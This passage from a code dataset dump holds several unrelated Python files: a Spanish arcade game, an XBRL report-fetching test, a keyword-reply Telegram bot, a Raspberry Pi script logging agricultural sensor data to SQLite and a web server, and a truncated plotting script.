mayor:\"+str(mayor))\ntxtAlto.color=Color(\"white\")\n\njuegoCorriendo=True\n\n\ndef bTeclado(v,e):\n\n if e.key ==\"Left\":\n personaje.x-=20\n if e.key==\"Right\":\n personaje.x+=20\n if personaje.x<=50:\n personaje.x=50\n if personaje.x>=750:\n personaje.x=750\n\ndef amigos():\n global contadorUno,bandUno,amigoX\n \n if len(listaEnemigos)>=5:\n if contadorUno>=1 and bandUno == True:\n bandUno=False\n contadorUno=0\n if len(listaAmigos)<100:\n amigo=makePicture(\"star.png\")\n amigo.y=0\n amigo.x=randint(5,750)\n amigo.border=0\n amigo.draw(v)\n listaAmigos.append(amigo)\n amigoX=amigo.x\n\ndef moverEstrellas():\n global contadorUno,bandUno,amigo\n y1=570\n y2=570\n \n if contadorUno>=0.001 and bandUno==False:\n bandUno=True\n contadorUno=0\n for k in listaAmigos:\n k.y+=80\n if k.y>590:\n v.undraw(k)\n listaAmigos.remove(k)\n amigo=k.y\n \ndef blackHoles():\n global contadorDos,bandDos,blackhX, puntosJugador\n \n if puntosJugador>=500:\n \n if contadorDos>=1 and bandDos==True:\n bandDos=False\n contadorDos=0\n if len(listaBlack)<100:\n blackh=makePicture(\"black.png\")\n blackh.y=0\n blackh.x=randint(5,750)\n blackh.border=0\n blackh.draw(v)\n listaBlack.append(blackh)\n blackhX=blackh.y\n\ndef moverBlackHole():\n global contadorDos,bandDos,blackh\n y1=570\n y2=570\n \n if contadorDos>=0.001 and bandDos==False:\n bandDos=True\n contadorDos=0\n for b in listaBlack:\n b.y+=120\n if b.y>590:\n v.undraw(b)\n listaBlack.remove(b)\n blackh=b.y\n\ndef SFugaz():\n \n global contadorTres,bandTres,fugazX, puntosJugador\n if puntosJugador>=800:\n if contadorTres>=1 and bandTres == True:\n bandTres=False\n contadorTres=0\n if len(listaSFugaz)<100:\n fugaz=makePicture(\"Shoot.png\")\n fugaz.y=0\n fugaz.x=randint(5,750)\n fugaz.border=0\n fugaz.draw(v)\n listaSFugaz.append(fugaz)\n fugazX=fugaz.x\n\ndef moverShootStar():\n global contadorTres,bandTres,fugaz\n y1=570\n y2=570\n \n if contadorTres>=0.001 and bandTres==False:\n bandTres=True\n contadorTres=0\n for s in listaSFugaz:\n s.y+=250\n if s.y>590:\n v.undraw(s)\n listaSFugaz.remove(s)\n fugaz=s.y\n\ndef enemigos():\n\n global contador, band, enemigoX\n if contador>=1 and band == True:\n band = False\n contador=0\n if len(listaEnemigos)<100:\n enemigo = makePicture(\"aste.png\")\n enemigo.y=0\n enemigo.x=randint(5,750)\n enemigo.border=0\n enemigo.draw(v)\n listaEnemigos.append(enemigo)\n enemigoX=enemigo.x\n \ndef moverAsteroides():\n global contador, band, enemigo\n y1=570\n y2=570\n \n if contador>=0.001 and band==False:\n band=True\n contador=0\n for e in listaEnemigos:\n e.y+=75\n if e.y>=590:\n v.undraw(e)\n listaEnemigos.remove(e)\n enemigo = e.y\n\ndef colisiones():\n \n a1=0\n s1=0\n b1=0\n c1=0\n \n for e in listaEnemigos:\n if enemigo.x==personaje.x:\n a1=1\n v.undraw(e)\n listaEnemigo.remove(e)\n \n for k in listaAmigos:\n if amigo.x==personaje.x:\n s1=1\n v.undraw(k)\n listaEnemigo.remove(k)\n \n for b in listaBlack:\n if blackh.x==personaje.x:\n b1=1\n v.undraw(b)\n listaBlack.remove(b)\n \n for s in listaSFugaz:\n if fugaz.x==personaje.x:\n c1=1\n v.undraw(s)\n listaSFugaz.remove(k)\n\ndef sumaPuntos():\n global puntosJugador, juegoCorriendo\n for k in listaAmigos:\n ancho = k.width\n alto = k.height\n if personaje.x>=k.x - ancho/2 and personaje.x<= k.x+ancho/2:\n if personaje.y>=k.y - alto/2 and personaje.y<=k.y+alto/2:\n\n puntosJugador += 50\n txtPuntos.text = \"Puntos: \" + str(puntosJugador)\n k.undraw()\n listaAmigos.remove(k)\n \n if puntosJugador>=1000:\n txtGana = Text ((400,300),\"WIN\")\n txtGana.color = Color(\"White\")\n txtGana.draw(v)\n juegoCorriendo = False\n guardarMarcador()\n ponerBotonSalir()\n \n\ndef restaPuntos():\n global puntosJugador, juegoCorriendo\n for e in listaEnemigos:\n ancho = e.width\n alto = e.height\n if personaje.x>=e.x - ancho/2 and personaje.x<= e.x+ancho/2:\n if personaje.y>=e.y - alto/2 and personaje.y<=e.y+alto/2:\n\n puntosJugador -= 20\n txtPuntos.text = \"Puntos: \" + str(puntosJugador)\n e.undraw()\n listaEnemigos.remove(e)\n \n if puntosJugador<=-150:\n txtPierde = Text ((400,300),\"Game Over\")\n txtPierde.color = Color(\"White\")\n txtPierde.draw(v)\n juegoCorriendo = False\n guardarMarcador()\n ponerBotonSalir()\n ponerBotonReiniciar()\n\ndef looser():\n\n global juegoCorriendo\n for b in listaBlack:\n ancho = b.width\n alto = b.height\n if personaje.x >=b.x-ancho/2 and personaje.x<=b.x+ancho/2:\n if personaje.y>=b.y-ancho/2 and personaje.y<=b.y+ancho/2:\n \n txtPierde = Text ((400,300),\"Game Over\")\n txtPierde.color = Color(\"White\")\n txtPierde.draw(v)\n juegoCorriendo = False\n guardarMarcador()\n ponerBotonSalir()\n\n\n\ndef cartel():\n global puntosJugador\n if puntosJugador<=0: \n txtMove = Text ((400,590),\"Ocupa las flechas izquierda y derecha para movimiento\")\n txtMove.color = Color(\"White\") \n txtMove.draw(v)\n txtStar = Text ((400,10),\"Toma todas las estrellas que puedas, busca las cometas y esquiva los demás objetos\")\n txtStar.color = Color(\"White\")\n txtStar.draw(v)\n \n\ndef champion():\n\n global juegoCorriendo\n for s in listaSFugaz:\n ancho = s.width\n alto = s.height\n if personaje.x >=s.x-ancho/2 and personaje.x<=s.x+ancho/2:\n if personaje.y>=s.y-ancho/2 and personaje.y<=s.y+ancho/2:\n \n txtGana = Text ((400,300),\"WIN\")\n txtGana.color = Color(\"White\")\n txtGana.draw(v)\n juegoCorriendo = False\n guardarMarcador()\n ponerBotonSalir()\n \n \ndef salirJuego(btn,e):\n v.close()\n\n\ndef ponerBotonSalir() :\n btnSalir = Button((400,150),\"S a l i r\")\n btnSalir.draw(v)\n btnSalir.connect(\"click\",salirJuego)\n \n \ndef guardarMarcador():\n anteriores = leerArchivo()\n if puntosJugador > anteriores :\n salida = open(\"marcador.txt\",\"w\")\n salida.write(\"marcador\\n\")\n salida.write(str(puntosJugador) + \"\\n\")\n salida.close()\n \ndef main():\n \n global contador,contadorUno,contadorDos,contadorTres\n \n fondo=makePicture(\"espacio.jpg\")\n fondo.draw(v)\n piso=Rectangle((0,595),(800,600))\n piso.color=(Color(\"Orange\"))\n piso.bodyType=\"static\"\n piso.draw(v)\n \n personaje.draw(v)\n \n txtPuntos.draw(v)\n \n onKeyPress(bTeclado)\n \n tiempo=0\n LIMITE=1\n \n while True:\n v.step(0.034)\n if juegoCorriendo:\n tiempo+=0.034\n if tiempo>=LIMITE:\n tiempo=0\n LIMITE-=.01\n \n enemigos()\n moverAsteroides()\n \n SFugaz()\n moverShootStar()\n \n blackHoles()\n moverBlackHole()\n \n amigos()\n moverEstrellas()\n \n \n cartel()\n \n contador+=.034\n contadorUno+=.078\n contadorDos+=.025\n contadorTres+=.01\n sumaPuntos()\n restaPuntos()\n looser()\n champion()\n \nv.run(main)","sub_path":"Untitled.py","file_name":"Untitled.py","file_ext":"py","file_size_in_byte":9810,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"292694085","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Jan 31 11:16:07 2018\n\n@author: niels-peter\n\"\"\"\n\nimport requests\nfrom xbrl_ai import xbrlinstance_to_dict\nfrom xbrl_ai_dk import fetchlist_dk, xbrldict_to_xbrl_dk_64\n\n\n__title__ = 'test_xbrl_ai_dk'\n__version__ = '0.0.1'\n__author__ = 'Niels-Peter Rønmos'\n\n\n\"\"\"\nThis testsample fetch metadata om newest annual report from\ncompany with Business Register Number 30004000 on date 015-10-31\nand load it into xbrldoc_as_dict\n\"\"\"\n\nmetadata = fetchlist_dk('30004000', '2015-10-31')\n#metadata = fetchlist_dk('61056416', '2015-10-31')\n\n\ntargeturl = metadata['dokumentUrl']\nxbrldoc_as_dict = xbrlinstance_to_dict(requests.get(targeturl).content)\nxbrl_as_dk_64 = xbrldict_to_xbrl_dk_64(xbrldoc_as_dict)\n","sub_path":"test_xbrl_ai_dk.py","file_name":"test_xbrl_ai_dk.py","file_ext":"py","file_size_in_byte":756,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"652353748","text":"import telepot\r\nfrom telepot.loop import MessageLoop\r\nfrom telepot.namedtuple import (\r\n ReplyKeyboardMarkup, \r\n KeyboardButton,\r\n InlineKeyboardMarkup,\r\n InlineKeyboardButton\r\n)\r\nfrom random import choice\r\nimport json\r\n\r\nTOKEN = '***yourtoken***'\r\n\r\ndef print_msg(msg):\r\n print(json.dumps(msg, indent=4))\r\n\r\ndef on_chat(msg):\r\n header = telepot.glance(msg, flavor=\"chat\")\r\n \r\n print_msg(msg)\r\n\r\n if header[0] == \"text\":\r\n text = msg[\"text\"]\r\n \r\n if '煞筆' in text:\r\n image_url = \"https://www.86kx.com/uploads/allimg/160325/11214344K-5.jpg\"\r\n bot.sendPhoto(header[2], image_url)\r\n elif '怕' in text:\r\n image_url = \"http://image.knowing.asia/80c5a7af-8c95-4f92-a0bd-58d2fcda2f84/f013b771ed4cd312ad669a41fa03494d.gif\"\r\n bot.sendPhoto(header[2], image_url)\r\n\r\n else: \r\n image_url = \"http://image.knowing.asia/80c5a7af-8c95-4f92-a0bd-58d2fcda2f84/93b20af9836165ddb06c7fa74d78aacd.png\"\r\n bot.sendPhoto(header[2], image_url)\r\n\r\nbot = telepot.Bot(TOKEN)\r\nMessageLoop(bot, {\r\n 'chat': on_chat,\r\n}).run_as_thread()\r\n\r\nprint('Listening ...')\r\n","sub_path":"totolo.py","file_name":"totolo.py","file_ext":"py","file_size_in_byte":1164,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"346378236","text":"#Raspberry Pi Code for Agricultural Remote Sensing\r\n#Github Pull Check\r\n\r\n#Rquired Libraries\r\nimport serial\r\nimport time\r\n\r\nfrom struct import Struct\r\nimport threading\r\n\r\nimport sqlite3\r\nimport Queue\r\nfrom sqlite3 import Error\r\nimport requests\r\n\r\n#Display\r\n\r\nimport socket\r\n\r\n###########################################################\r\n#################### DISPLAY SETUP ########################\r\n###########################################################\r\n\r\n\r\ndef isInternetConnected():\r\n try:\r\n # see if we can resolve the host name -- tells us if there is\r\n # a DNS listening\r\n host = socket.gethostbyname(\"www.google.com\")\r\n # connect to the host -- tells us if the host is actually\r\n # reachable\r\n s = socket.create_connection((host, 80), 2)\r\n s.close()\r\n return True\r\n except:\r\n pass\r\n return False\r\n\r\ndef shouldBeStatusCode():\r\n if (isInternetConnected()):\r\n return 1\r\n else:\r\n return 0\r\n \r\n\r\n###########################################################\r\n###########################################################\r\n###########################################################\r\n\r\n# A blueprint of how the data should be received\r\nclass dataPacket:\r\n \r\n #All the required parameters\r\n nodeNumber = 0\r\n batteryVoltage = 0.0\r\n soilMoisture = 0.0\r\n soilTemperature = 0.0\r\n airTemperature = 0.0\r\n airMoisture = 0.0\r\n NH3 = 0.0\r\n CO = 0.0\r\n NO2 = 0.0\r\n C3H8 = 0.0\r\n C4H10 = 0.0\r\n CH4 = 0.0\r\n H2 = 0.0\r\n C2H5OH = 0.0\r\n\r\n #Assembling values coming from the Arduino\r\n def addValues(self, reconstructed):\r\n\r\n if len(reconstructed) == 14: #Checks to see if the incoming bytes are correct in size\r\n self.nodeNumber = rec[0]\r\n self.batteryVoltage = round(rec[1], 3)\r\n self.soilMoisture = abs(round(rec[2], 3))\r\n self.soilTemperature = round(rec[3], 3)\r\n self.airMoisture = round(rec[4], 3)\r\n self.airTemperature = round(rec[5], 3)\r\n self.NH3 = round(rec[6], 3)\r\n self.CO = round(rec[7], 3)\r\n self.NO2 = round(rec[8], 3)\r\n self.C3H8 = round(rec[9], 3)\r\n self.C4H10 = round(rec[10], 3)\r\n self.CH4 = round(rec[11], 3)\r\n self.H2 = round(rec[12], 3)\r\n self.C2H5OH = round(rec[13], 3)\r\n\r\n else:\r\n print(\"Data Packets: Invalid size of received list\")\r\n\r\n# URL for HTTP GET Requests\r\n#URL = \"http://crohmi.seecs.nust.edu.pk/datauploadscript.php\"\r\nURL = \"http://111.68.101.17/db/store.php\"\r\n# Make a FIFO Queue for the incomding Data Packets\r\ndataPacketStack = Queue.Queue(0)\r\n\r\n# Defines the structure of how the incoming data is arranged\r\nstructure = Struct('ifffffffffffff')\r\n\r\n# Defines the Serial Port to listen to and what baudrate\r\ntry :\r\n ser = serial.Serial(\r\n port='/dev/ttyACM0',\r\n baudrate=9600,\r\n parity=serial.PARITY_NONE,\r\n stopbits=serial.STOPBITS_ONE,\r\n bytesize=serial.EIGHTBITS,\r\n timeout=None\r\n )\r\nexcept:\r\n ser = serial.Serial(\r\n port='/dev/ttyACM1',\r\n baudrate=9600,\r\n parity=serial.PARITY_NONE,\r\n stopbits=serial.STOPBITS_ONE,\r\n bytesize=serial.EIGHTBITS,\r\n timeout=None\r\n )\r\n\r\n###########################################################\r\n##################### DATABASE ############################\r\n###########################################################\r\n\r\ndef createConnection(db_file):\r\n try:\r\n conn = sqlite3.connect(db_file)\r\n print(sqlite3.version)\r\n return conn\r\n except Error as e:\r\n print(e)\r\n\r\n return None\r\n\r\ndef createTable(conn, create_table_sql):\r\n\r\n try:\r\n c = conn.cursor()\r\n c.execute(create_table_sql)\r\n except Error as e:\r\n print(e)\r\n \r\ndef createTables(conn):\r\n \r\n sql_create_node_one_table = \"\"\" CREATE TABLE IF NOT EXISTS nodeone (\r\n id integer PRIMARY KEY,\r\n timestamp DATETIME DEFAULT (datetime(CURRENT_TIMESTAMP, 'localtime')),\r\n batteryVoltage float,\r\n soilMoisture float,\r\n soilTemperature float,\r\n airMoisture float,\r\n airTemperature float,\r\n NH3 float,\r\n CO float,\r\n NO2 float,\r\n C3H8 float,\r\n C4H10 float,\r\n CH4 float,\r\n H2 float,\r\n C2H5OH float\r\n ); \"\"\"\r\n \r\n sql_create_node_two_table = \"\"\" CREATE TABLE IF NOT EXISTS nodetwo (\r\n id integer PRIMARY KEY,\r\n timestamp DATETIME DEFAULT (datetime(CURRENT_TIMESTAMP, 'localtime')),\r\n batteryVoltage float,\r\n soilMoisture float,\r\n soilTemperature float,\r\n airMoisture float,\r\n airTemperature float,\r\n NH3 float,\r\n CO float,\r\n NO2 float,\r\n C3H8 float,\r\n C4H10 float,\r\n CH4 float,\r\n H2 float,\r\n C2H5OH float\r\n ); \"\"\"\r\n \r\n sql_create_node_three_table = \"\"\" CREATE TABLE IF NOT EXISTS nodethree (\r\n id integer PRIMARY KEY,\r\n timestamp DATETIME DEFAULT (datetime(CURRENT_TIMESTAMP, 'localtime')),\r\n batteryVoltage float,\r\n soilMoisture float,\r\n soilTemperature float,\r\n airMoisture float,\r\n airTemperature float,\r\n NH3 float,\r\n CO float,\r\n NO2 float,\r\n C3H8 float,\r\n C4H10 float,\r\n CH4 float,\r\n H2 float,\r\n C2H5OH float\r\n ); \"\"\"\r\n \r\n sql_create_node_four_table = \"\"\" CREATE TABLE IF NOT EXISTS nodefour (\r\n id integer PRIMARY KEY,\r\n timestamp DATETIME DEFAULT (datetime(CURRENT_TIMESTAMP, 'localtime')),\r\n batteryVoltage float,\r\n soilMoisture float,\r\n soilTemperature float,\r\n airMoisture float,\r\n airTemperature float,\r\n NH3 float,\r\n CO float,\r\n NO2 float,\r\n C3H8 float,\r\n C4H10 float,\r\n CH4 float,\r\n H2 float,\r\n C2H5OH float\r\n ); \"\"\"\r\n \r\n sql_create_node_five_table = \"\"\" CREATE TABLE IF NOT EXISTS nodefive (\r\n id integer PRIMARY KEY,\r\n timestamp DATETIME DEFAULT (datetime(CURRENT_TIMESTAMP, 'localtime')),\r\n batteryVoltage float,\r\n soilMoisture float,\r\n soilTemperature float,\r\n airMoisture float,\r\n airTemperature float,\r\n NH3 float,\r\n CO float,\r\n NO2 float,\r\n C3H8 float,\r\n C4H10 float,\r\n CH4 float,\r\n H2 float,\r\n C2H5OH float\r\n ); \"\"\"\r\n sql_create_node_six_table = \"\"\" CREATE TABLE IF NOT EXISTS nodesix (\r\n id integer PRIMARY KEY,\r\n timestamp DATETIME DEFAULT (datetime(CURRENT_TIMESTAMP, 'localtime')),\r\n batteryVoltage float,\r\n soilMoisture float,\r\n soilTemperature float,\r\n airMoisture float,\r\n airTemperature float,\r\n NH3 float,\r\n CO float,\r\n NO2 float,\r\n C3H8 float,\r\n C4H10 float,\r\n CH4 float,\r\n H2 float,\r\n C2H5OH float\r\n );\"\"\"\r\n sql_create_node_seven_table = \"\"\" CREATE TABLE IF NOT EXISTS nodeseven (\r\n id integer PRIMARY KEY,\r\n timestamp DATETIME DEFAULT (datetime(CURRENT_TIMESTAMP, 'localtime')),\r\n batteryVoltage float,\r\n soilMoisture float,\r\n soilTemperature float,\r\n airMoisture float,\r\n airTemperature float,\r\n NH3 float,\r\n CO float,\r\n NO2 float,\r\n C3H8 float,\r\n C4H10 float,\r\n CH4 float,\r\n H2 float,\r\n C2H5OH float\r\n );\"\"\"\r\n sql_create_node_eight_table = \"\"\" CREATE TABLE IF NOT EXISTS nodeeight (\r\n id integer PRIMARY KEY,\r\n timestamp DATETIME DEFAULT (datetime(CURRENT_TIMESTAMP, 'localtime')),\r\n batteryVoltage float,\r\n soilMoisture float,\r\n soilTemperature float,\r\n airMoisture float,\r\n airTemperature float,\r\n NH3 float,\r\n CO float,\r\n NO2 float,\r\n C3H8 float,\r\n C4H10 float,\r\n CH4 float,\r\n H2 float,\r\n C2H5OH float\r\n );\"\"\"\r\n\r\n sql_create_node_nine_table = \"\"\" CREATE TABLE IF NOT EXISTS nodenine (\r\n id integer PRIMARY KEY,\r\n timestamp DATETIME DEFAULT (datetime(CURRENT_TIMESTAMP, 'localtime')),\r\n batteryVoltage float,\r\n soilMoisture float,\r\n soilTemperature float,\r\n airMoisture float,\r\n airTemperature float,\r\n NH3 float,\r\n CO float,\r\n NO2 float,\r\n C3H8 float,\r\n C4H10 float,\r\n CH4 float,\r\n H2 float,\r\n C2H5OH float\r\n );\"\"\"\r\n # create a database connection\r\n if conn is not None:\r\n # create projects table\r\n createTable(conn, sql_create_node_one_table)\r\n createTable(conn, sql_create_node_two_table)\r\n createTable(conn, sql_create_node_three_table)\r\n createTable(conn, sql_create_node_four_table)\r\n createTable(conn, sql_create_node_five_table)\r\n createTable(conn, sql_create_node_six_table)\r\n createTable(conn, sql_create_node_seven_table)\r\n createTable(conn, sql_create_node_eight_table)\r\n createTable(conn, sql_create_node_nine_table)\r\n \r\n else:\r\n print(\"Error! cannot create the database connection.\")\r\n\r\ndef createEntryNodeOne(conn, nodeData):\r\n \r\n sql = ''' INSERT INTO nodeone(batteryVoltage,soilMoisture,soilTemperature,airMoisture,airTemperature,NH3,CO,NO2,C3H8,C4H10,CH4,H2,C2H5OH)\r\n VALUES(?,?,?,?,?,?,?,?,?,?,?,?,?) '''\r\n cur = conn.cursor()\r\n cur.execute(sql, nodeData)\r\n conn.commit()\r\n\r\ndef createEntryNodeTwo(conn, nodeData):\r\n \r\n sql = ''' INSERT INTO nodetwo(batteryVoltage,soilMoisture,soilTemperature,airMoisture,airTemperature,NH3,CO,NO2,C3H8,C4H10,CH4,H2,C2H5OH)\r\n VALUES(?,?,?,?,?,?,?,?,?,?,?,?,?) '''\r\n cur = conn.cursor()\r\n cur.execute(sql, nodeData)\r\n conn.commit()\r\n\r\ndef createEntryNodeThree(conn, nodeData):\r\n \r\n sql = ''' INSERT INTO nodethree(batteryVoltage,soilMoisture,soilTemperature,airMoisture,airTemperature,NH3,CO,NO2,C3H8,C4H10,CH4,H2,C2H5OH)\r\n VALUES(?,?,?,?,?,?,?,?,?,?,?,?,?) '''\r\n cur = conn.cursor()\r\n cur.execute(sql, nodeData)\r\n conn.commit()\r\n\r\ndef createEntryNodeFour(conn, nodeData):\r\n \r\n sql = ''' INSERT INTO nodefour(batteryVoltage,soilMoisture,soilTemperature,airMoisture,airTemperature,NH3,CO,NO2,C3H8,C4H10,CH4,H2,C2H5OH)\r\n VALUES(?,?,?,?,?,?,?,?,?,?,?,?,?) '''\r\n cur = conn.cursor()\r\n cur.execute(sql, nodeData)\r\n conn.commit()\r\n\r\ndef createEntryNodeFive(conn, nodeData):\r\n\r\n sql = ''' INSERT INTO nodefive(batteryVoltage,soilMoisture,soilTemperature,airMoisture,airTemperature,NH3,CO,NO2,C3H8,C4H10,CH4,H2,C2H5OH)\r\n VALUES(?,?,?,?,?,?,?,?,?,?,?,?,?) '''\r\n cur = conn.cursor()\r\n cur.execute(sql, nodeData)\r\n conn.commit()\r\n\r\n\r\ndef createEntryNodeSix(conn, nodeData):\r\n sql = ''' INSERT INTO nodesix(batteryVoltage,soilMoisture,soilTemperature,airMoisture,airTemperature,NH3,CO,NO2,C3H8,C4H10,CH4,H2,C2H5OH)\r\n VALUES(?,?,?,?,?,?,?,?,?,?,?,?,?) '''\r\n cur = conn.cursor()\r\n cur.execute(sql, nodeData)\r\n conn.commit()\r\n\r\n\r\ndef createEntryNodeSeven(conn, nodeData):\r\n sql = ''' INSERT INTO nodeseven(batteryVoltage,soilMoisture,soilTemperature,airMoisture,airTemperature,NH3,CO,NO2,C3H8,C4H10,CH4,H2,C2H5OH)\r\n VALUES(?,?,?,?,?,?,?,?,?,?,?,?,?) '''\r\n cur = conn.cursor()\r\n cur.execute(sql, nodeData)\r\n conn.commit()\r\n\r\n\r\ndef createEntryNodeEight(conn, nodeData):\r\n sql = ''' INSERT INTO nodeeight(batteryVoltage,soilMoisture,soilTemperature,airMoisture,airTemperature,NH3,CO,NO2,C3H8,C4H10,CH4,H2,C2H5OH)\r\n VALUES(?,?,?,?,?,?,?,?,?,?,?,?,?) '''\r\n cur = conn.cursor()\r\n cur.execute(sql, nodeData)\r\n conn.commit()\r\n \r\n \r\ndef createEntryNodeNine(conn, nodeData):\r\n sql = ''' INSERT INTO nodenine(batteryVoltage,soilMoisture,soilTemperature,airMoisture,airTemperature,NH3,CO,NO2,C3H8,C4H10,CH4,H2,C2H5OH)\r\n VALUES(?,?,?,?,?,?,?,?,?,?,?,?,?) '''\r\n cur = conn.cursor()\r\n cur.execute(sql, nodeData)\r\n conn.commit()\r\n###########################################################\r\n###########################################################\r\n###########################################################\r\n\r\n\r\n\r\n###########################################################\r\n################# BACKGROUND THREAD #######################\r\n###########################################################\r\n\r\ndef runInBackground():\r\n\r\n errLDB = False\r\n errRDB = False\r\n\r\n while True:\r\n if (dataPacketStack.qsize()>0):\r\n\r\n currentStackObject = dataPacketStack.get()\r\n \r\n nodeData = [\r\n currentStackObject.batteryVoltage,\r\n currentStackObject.soilMoisture,\r\n currentStackObject.soilTemperature,\r\n currentStackObject.airMoisture,\r\n currentStackObject.airTemperature,\r\n currentStackObject.NH3,\r\n currentStackObject.CO,\r\n currentStackObject.NO2,\r\n currentStackObject.C3H8,\r\n currentStackObject.C4H10,\r\n currentStackObject.CH4,\r\n currentStackObject.H2,\r\n currentStackObject.C2H5OH ]\r\n \r\n PARAMS = (\r\n ('air_moisture' , nodeData[4]),\r\n ('air_temperature' , nodeData[3]),\r\n ('soil_moisture' , nodeData[1]),\r\n ('soil_temperature' , nodeData[2]),\r\n ('node_id' , currentStackObject.nodeNumber),\r\n ('nh3' , nodeData[5]),\r\n ('co' , nodeData[6]),\r\n ('no2' , nodeData[7]),\r\n ('c3h8' , nodeData[8]),\r\n ('c4h10' , nodeData[9]),\r\n ('ch4' , nodeData[10]),\r\n ('h2' , nodeData[11]),\r\n ('c2h5oh' , nodeData[12]),\r\n ('battery_voltage' , nodeData[0])\r\n )\r\n try:\r\n r = requests.get(url = URL, params = PARAMS)\r\n errRDB = True\r\n except requests.ConnectionError:\r\n print(\"Unable to connect to server, check internet connection.\")\r\n errRDB = False\r\n\r\n database = \"pythonsqlite_V5.db\"\r\n conn = createConnection(database)\r\n\r\n createTables(conn)\r\n\r\n print(\"Stack is not empty\")\r\n print(\"Node no:\")\r\n print(currentStackObject.nodeNumber)\r\n \r\n if currentStackObject.nodeNumber == 1:\r\n print(\"Values received from node 1\")\r\n createEntryNodeOne(conn, nodeData)\r\n print(\"Entry created in SQLite Database for Node 1\")\r\n errLDB = True\r\n\r\n elif currentStackObject.nodeNumber == 2:\r\n print(\"Values received from node 2\")\r\n createEntryNodeTwo(conn, nodeData)\r\n print(\"Entry created in SQLite Database for Node 2\")\r\n errLDB = True\r\n\r\n elif currentStackObject.nodeNumber == 3:\r\n print(\"Values received from node 3\")\r\n createEntryNodeThree(conn, nodeData)\r\n print(\"Entry created in SQLite Database for Node 3\")\r\n errLDB = True\r\n\r\n elif currentStackObject.nodeNumber == 4:\r\n print(\"Values received from node 4\")\r\n createEntryNodeFour(conn, nodeData)\r\n print(\"Entry created in SQLite Database for Node 4\")\r\n errLDB = True\r\n\r\n\r\n elif currentStackObject.nodeNumber == 5:\r\n print(\"Values received from node 5\")\r\n createEntryNodeFive(conn, nodeData)\r\n print(\"Entry created in SQLite Database for Node 5\")\r\n errLDB = True\r\n\r\n elif currentStackObject.nodeNumber == 6:\r\n print(\"Values received from node 6\")\r\n createEntryNodeSix(conn, nodeData)\r\n print(\"Entry created in SQLite Database for Node 6\")\r\n errLDB = True\r\n\r\n elif currentStackObject.nodeNumber == 7:\r\n print(\"Values received from node 7\")\r\n createEntryNodeSeven(conn, nodeData)\r\n print(\"Entry created in SQLite Database for Node 7\")\r\n errLDB = True\r\n\r\n elif currentStackObject.nodeNumber == 8:\r\n print(\"Values received from node 8\")\r\n createEntryNodeEight(conn, nodeData)\r\n print(\"Entry created in SQLite Database for Node 8\")\r\n errLDB = True\r\n\r\n elif currentStackObject.nodeNumber == 9:\r\n print(\"Values received from node 9\")\r\n createEntryNodeNine(conn, nodeData)\r\n print(\"Entry created in SQLite Database for Node 9\")\r\n errLDB = True\r\n \r\n else:\r\n print(\"Invalid Node Number\")\r\n errLDB = False\r\n\r\n conn.close()\r\n\r\n \r\n\r\n \r\n\r\n #print(\"Stack is empty, no object to process\")\r\n time.sleep(0.5)\r\n\r\n# Run the function in background\r\ndataPushThread = threading.Thread(target=runInBackground, args=())\r\ndataPushThread.daemon = True\r\ndataPushThread.start()\r\n\r\n###########################################################\r\n###########################################################\r\n###########################################################\r\n\r\n###########################################################\r\n################# SELF REQUEST THREAD #####################\r\n###########################################################\r\n\r\n\r\n#def selfValuesInterrupt():\r\n #while(True):\r\n \r\n #time.sleep(60)\r\n #print(\"Asked for Self Values\")\r\n #ser.write('x')\r\n \r\n \r\n\r\n#selfValuesInterruptThread = threading.Thread(target=selfValuesInterrupt, args=())\r\n#selfValuesInterruptThread.daemon = True\r\n#selfValuesInterruptThread.start()\r\n\r\n###########################################################\r\n###########################################################\r\n###########################################################\r\n\r\n###########################################################\r\n##################### MAIN THREAD #########################\r\n###########################################################\r\n\r\nwhile True:\r\n \r\n\r\n #Defining object according to the blueprint\r\n \r\n receivedValues = dataPacket()\r\n x = ser.read(56)\r\n print(str(x))#Reads values from Serial Port\r\n rec = structure.unpack_from(x)\r\n print(\"--------------------------\")\r\n print(\"Rec Values\")\r\n print(rec[0])#Reconstructs integers and floats from incoming bytes\r\n print(rec[1])\r\n print(rec[2])\r\n print(rec[3])\r\n print(rec[4])\r\n print(rec[5])\r\n print(rec[6])\r\n print(rec[7])\r\n\r\n\r\n print(\"--------------------------\")\r\n receivedValues.addValues(rec) #Assembles the data into a python class object\r\n\r\n dataPacketStack.put(receivedValues)\r\n\r\n print(dataPacketStack.qsize())\r\n\r\n###########################################################\r\n###########################################################\r\n###########################################################\r\n\r\n","sub_path":"Arduino/arduinoSerialReceiveV5.py","file_name":"arduinoSerialReceiveV5.py","file_ext":"py","file_size_in_byte":24842,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"181323159","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport math\nimport os, sys\n\n#f = np.genfromtxt('uns20.txt')\n#y = f[:, 0]\n#raw = len(y)\n#analy = np.zeros(raw)\n#for i in range(raw):\n#\tanaly[i] = math.pi/2.*math.cos(math.pi/2.*y[i])\n#analy = analy[:, None]\n#output = np.concatenate((f,analy), axis=1)\n#np.savetxt('uns20.txt', output, fmt=\"%10.8f\")\n\nN = 20\ndt = 1./N\ny = np.zeros(N+1)\nanaly = np.zeros(N+1)\nfor i in range(N+1):\n\ty[i] = i*dt\nfor i in range(N+1):\n\tanaly[i] = math.pi/2.*math.cos(math.pi/2.*y[i])\nfedge = open('edgestr20.txt')\nedge = np.loadtxt(fedge)\nflin = open('linstr20.txt')\nlin = np.loadtxt(flin)\nfls = open('lsstr20.txt')\nls = np.loadtxt(fls)\n\nplt.figure(figsize=(10,7))\nplt.plot(analy, y, 'ro', mfc='none', ms = 10, label = 'Analytical')\nplt.plot(lin[:, 3], lin[:, 0], 'k-', label = 'Gauss Linear')\nplt.plot(ls[:, 3], ls[:, 0], 'g--', label = 'LeastSquares')\nplt.plot(edge[:, 3], edge[:, 0], 'b-', label = 'EdgeCellsLeastSquares')\n#plt.xscale('log')\n#plt.yscale('log')\nplt.xlim([0, 1.6])\nplt.ylim([0, 1.05])\nplt.tick_params(which='both', direction='in')\nplt.tick_params(which='both', bottom=True, top=True, left=True, right=True)\nplt.tick_params(which='both', labelbottom=True, labeltop=False, labelleft=True, 